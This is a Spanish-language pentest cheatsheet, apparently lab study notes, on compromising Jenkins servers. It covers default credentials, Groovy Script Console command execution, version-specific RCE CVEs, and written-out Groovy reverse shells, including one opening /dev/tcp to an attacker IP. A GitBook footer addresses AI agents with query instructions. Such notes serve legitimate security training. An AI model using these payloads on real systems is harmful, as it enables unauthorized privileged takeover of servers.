> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/jenkins.md).

# Jenkins

## Discovery & Enumeration

**Jenkins** es un servidor de automatización open-source en **Java** para **CI (continuous integration)** — build y test continuo de software. Corre en contenedores servlet como **Tomcat**. Ha tenido varias vulnerabilidades, algunas de **RCE no autenticado**.

> Originalmente llamado **Hudson** (2005), renombrado en 2011 tras la disputa con Oracle. Lo usan Facebook, Netflix, LinkedIn, Robinhood. 300+ plugins.

> A menudo instalado en Windows corriendo como la cuenta **SYSTEM** → si logramos RCE, obtenemos un foothold privilegiado en **Active Directory**.

### 1. Discovery / Footprinting

| Dato           | Valor                                                               |
| -------------- | ------------------------------------------------------------------- |
| Puerto default | **8080** (Tomcat).                                                  |
| Puerto slaves  | **5000** (comunicación master ↔ slave).                             |
| Autenticación  | BD local, LDAP, Unix user DB, delegación al servlet, o **ninguna**. |

> Los admins pueden permitir o no que los usuarios creen cuentas.

### 2. Enumeración

Fingerprint rápido por la **página de login** característica:

```
http://jenkins.inlanefreight.local:8000/login?from=%2F
```

> La instalación por defecto usa la **BD de Jenkins** para credenciales y **no** permite registro.

Vectores de acceso comunes:

* Credenciales débiles/por defecto (`admin:admin`).
* **Sin autenticación** — no es raro en pentests internos encontrar Jenkins totalmente abierto.

> Poco común pero posible: Jenkins expuesto en pentests **externos**.

### Resumen rápido

| Paso           | Método                       | Qué obtiene       |
| -------------- | ---------------------------- | ----------------- |
| 1. Identificar | Puerto 8080, página de login | Confirma Jenkins. |
| 2. Acceso      | `admin:admin` o sin auth     | Entrada al panel. |

> Jenkins suele correr como **SYSTEM** en Windows → foothold privilegiado en AD. El vector típico es la falta de autenticación o credenciales débiles. Con acceso al panel → RCE vía el Script Console (siguiente sección).

## Jenkins — Attacking

Con acceso a Jenkins (credenciales débiles o sin auth), la vía rápida a RCE es la **Script Console**: ejecuta scripts **Groovy** arbitrarios en el runtime del controlador Jenkins → comandos del sistema.

> Jenkins corre a menudo como **root/SYSTEM** → RCE aquí suele ser una victoria directa y privilegiada.

### 1. Script Console

Accesible en `/script`. Ejecuta **Apache Groovy** (lenguaje orientado a objetos compatible con Java, similar a Python/Ruby; compila a Java Bytecode).

```
http://jenkins.inlanefreight.local:8000/script
```

#### Ejecutar un comando

```groovy
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
# uid=0(root) gid=0(root)
```

| Elemento               | Descripción                  |
| ---------------------- | ---------------------------- |
| `cmd.execute()`        | Ejecuta el comando en el SO. |
| `consumeProcessOutput` | Captura stdout/stderr.       |
| `println sout`         | Imprime la salida.           |

### 2. Reverse Shell

#### Linux (Groovy)

```groovy
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

```bash
nc -lvnp 8443
# connect... uid=0(root) gid=0(root)
```

> También vía módulo de Metasploit.

#### Windows

Ejecutar comando:

```groovy
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```

O reverse shell Java (cambiar `host`/`port` por los nuestros):

```groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();...
```

> En Windows: alternativa a añadir usuario (RDP/WinRM) es un **PowerShell download cradle** con `Invoke-PowerShellTcp.ps1` → evita cambios persistentes en el sistema.

### 3. Vulnerabilidades conocidas (version-specific)

| CVEs                                | Versión | Descripción                                                                                                                                                                               |
| ----------------------------------- | ------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| CVE-2018-1999002 + CVE-2019-1003000 | 2.137   | **RCE pre-auth**: bypass del sandbox de script security vía dynamic routing → bypass del ACL `Overall/Read` → Groovy descarga y ejecuta un JAR malicioso.                                 |
| —                                   | 2.150.2 | Usuarios con privilegios **JOB creation + BUILD** ejecutan código vía Node.js. Requiere auth, pero si los **anónimos** están habilitados, tienen esos privilegios por defecto → funciona. |

> ⚠️ Los exploits RCE de Jenkins son **específicos de versión**. El LTS actual (2.303.1) corrige los de arriba. Los anónimos habilitados son un riesgo clave (tienen JOB+BUILD por defecto).

### Resumen rápido

| Vía                | Requiere                    | Resultado                          |
| ------------------ | --------------------------- | ---------------------------------- |
| **Script Console** | Acceso admin                | RCE (Groovy → `cmd.execute()`).    |
| **Reverse shell**  | Script Console              | Shell interactiva (Linux/Windows). |
| **CVE 2.137**      | — (pre-auth)                | RCE bypass sandbox.                |
| **CVE 2.150.2**    | Auth o anónimos habilitados | RCE vía JOB+BUILD.                 |

> La Script Console (`/script`) es la vía más directa: acceso admin → Groovy → RCE, a menudo como **root/SYSTEM**. Foothold privilegiado inmediato. Endurecer Jenkins es crítico porque su funcionalidad built-in permite tomar el servidor.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/jenkins.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
